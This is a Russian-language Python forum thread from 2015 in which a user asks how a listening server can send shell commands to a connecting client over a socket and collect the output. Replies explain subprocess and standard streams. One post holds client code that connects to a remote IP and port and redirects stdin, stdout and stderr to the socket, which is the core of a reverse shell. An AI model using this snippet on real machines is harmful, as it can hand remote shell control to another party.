Уведомления

Группа в Telegram: @pythonsu

#1 Авг. 17, 2015 01:44:21

kampella
Зарегистрирован: 2014-11-21
Сообщения: 95
Репутация: +  1  -
Профиль   Отправить e-mail  

subprocess + socket

def run_command(command, fsock):
    try:
        output = subprocess.Popen(command, stdin=fsock, stderr=fsock, stdout=subprocess.PIPE, shell=True).communicate()
    except:
        output = 'Failed to execute command.\r\n'
    return output
command = 'ls -la'
client_socket, addr = server.accept()
run_command(command, client_socket)
fsock = client_socket.makefile('wb')
run_command(command, fsock)

Команда в обоих случаях выполняется локально, вместо ожидаемой передачи в сокет fsock.
Можно конечно отправить команду прямо в сокет (client_socket.send(command)), но нужно получить вывод команды.
Есть ли решение?

Отредактировано kampella (Авг. 17, 2015 01:53:55)

Офлайн

#2 Авг. 17, 2015 08:58:39

doza_and
От:
Зарегистрирован: 2010-08-15
Сообщения: 4138
Репутация: +  253  -
Профиль   Отправить e-mail  

subprocess + socket

kampella
Есть ли решение?
Конечно решение всегда есть.
Только у вас непонятно что происходит потому что вы код клиента не привели, ну или не выделили.



Офлайн

#3 Авг. 17, 2015 10:33:53

Rodegast
От: Пятигорск
Зарегистрирован: 2007-12-28
Сообщения: 2843
Репутация: +  186  -
Профиль   Отправить e-mail  

subprocess + socket

> нужно получить вывод команды.

vivod = subprocess.Popen([....], stdout=subprocess.PIPE).stdout.read()



С дураками и сектантами не спорю, истину не ищу.
Ели кому-то правда не нравится, то заранее извиняюсь.

Офлайн

#4 Авг. 17, 2015 12:32:13

kampella
Зарегистрирован: 2014-11-21
Сообщения: 95
Репутация: +  1  -
Профиль   Отправить e-mail  

subprocess + socket

Rodegast
> нужно получить вывод команды.
это вывод от локально выполненной команды

Команду нужно отправить в клиентский сокет и получить от нее вывод. (command = ‘/bin/bash -c “ls -la”’)

socket.send() + socket.recv() тоже не дает нужных результатов, во всяком случае у меня

Клиент:
import socket,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("11.22.33.44",9900))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

Отредактировано kampella (Авг. 17, 2015 12:33:12)

Офлайн

#5 Авг. 17, 2015 19:15:50

doza_and
От:
Зарегистрирован: 2010-08-15
Сообщения: 4138
Репутация: +  253  -
Профиль   Отправить e-mail  

subprocess + socket

kampella
это вывод от локально выполненной команды
Вы непонятно пишете. Локально на сервере или локально на клиенте.

Очевидно subprocess.Popen надо запускать на той машине где вы хотите сделать свой ls. Очевидно что если вы Popen запускаете на одной машине то только от нее и можете получить ls.

Давайте я напишу что вы хотите, а вы меня поправите.
“Есть N машин. одна из них сервер. Я хочу чтобы клиенты могли отправлять серверу shell команды, содержимое потока stdin для них и получать в ответ содержимое stdout,stderr.”

(вообще все это прекрасно делает rsh/ssh).



Отредактировано doza_and (Авг. 17, 2015 19:17:30)

Офлайн

#6 Авг. 17, 2015 20:30:28

kampella
Зарегистрирован: 2014-11-21
Сообщения: 95
Репутация: +  1  -
Профиль   Отправить e-mail  

subprocess + socket

doza_and
Локально на сервере или локально на клиенте.
Локально на сервере.

doza_and
Очевидно subprocess.Popen надо запускать на той машине где вы хотите сделать свой ls.
Ну так для чего тогда там stdin аргумент?

doza_and
“Есть N машин. одна из них сервер. Я хочу чтобы клиенты могли отправлять серверу shell команды, содержимое потока stdin для них и получать в ответ содержимое stdout,stderr.”

Есть сервер и клиент. Я хочу чтобы сервер слушал порт, при подключении к этому порту клиента, отправлял клиенту shell команду и получал ответ этой команды в свой stdout,stderr.

Офлайн

#7 Авг. 17, 2015 21:12:18

Rodegast
От: Пятигорск
Зарегистрирован: 2007-12-28
Сообщения: 2843
Репутация: +  186  -
Профиль   Отправить e-mail  

subprocess + socket

> Ну так для чего тогда там stdin аргумент? … отправлял клиенту shell команду и получал ответ этой команды в свой stdout,stderr.

Как бы тебе ответить что-бы ты не очень обиделся… Короче учи матчасть
https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82%D0%BD%D1%8B%D0%B5_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA%D0%B8



С дураками и сектантами не спорю, истину не ищу.
Ели кому-то правда не нравится, то заранее извиняюсь.

Офлайн

#8 Авг. 17, 2015 23:41:29

doza_and
От:
Зарегистрирован: 2010-08-15
Сообщения: 4138
Репутация: +  253  -
Профиль   Отправить e-mail  

subprocess + socket

kampella
подключении к этому порту клиента, отправлял клиенту shell команду
Ок read из сокета в клиенте команды. Потом нужен терминатор чтобы понять когда команда кончилась. потом subprocess.Popen на “Клиенте”. Ловите данные из выходного потока и пихаете в сокет. (может их и можно забиндить, но я не знаю как). Наверное надо помечать что из stdout и что из stderr. Ну или открыть 2 сокета. Ну и делаете write для получаемых на сервере данных. Правда это плохая идея. Ответы разных клиентов перепутаются.
kampella
Ну так для чего тогда там stdin аргумент?
этот вопрос ставит меня в тупик. Это то место откуда программа делает sys.stdin.read() или если угодно input. Это позволяет записать в файл данные а не набивать их постоянно на клавиатуре. ls помоему вообще stdin не использует.



Отредактировано doza_and (Авг. 17, 2015 23:42:07)

Офлайн

#9 Авг. 18, 2015 01:32:48

kampella
Зарегистрирован: 2014-11-21
Сообщения: 95
Репутация: +  1  -
Профиль   Отправить e-mail  

subprocess + socket

doza_and
Всем спасибо. Почитал пару статей по subprocess, со всем разобрался. Думал, что команда запуска процессса должна уходить stdin, а оказалось там мы просто определяем канал для ввода для этого процесса.

Отредактировано kampella (Авг. 18, 2015 01:33:47)

Офлайн

#10 Авг. 18, 2015 08:58:56

doza_and
От:
Зарегистрирован: 2010-08-15
Сообщения: 4138
Репутация: +  253  -
Профиль   Отправить e-mail  

subprocess + socket

kampella
Думал, что команда запуска процессса должна уходить stdin
Между прочим вы почти правы. Для UNIX Команды которые выполняются системой попадают в stdin специального процесса - командного интерпретатора, он их читает и выполняет. Полностью аналогично запуску python в интерактивном режиме.



Офлайн

Board footer

Модераторировать

Powered by DjangoBB

Lo-Fi Version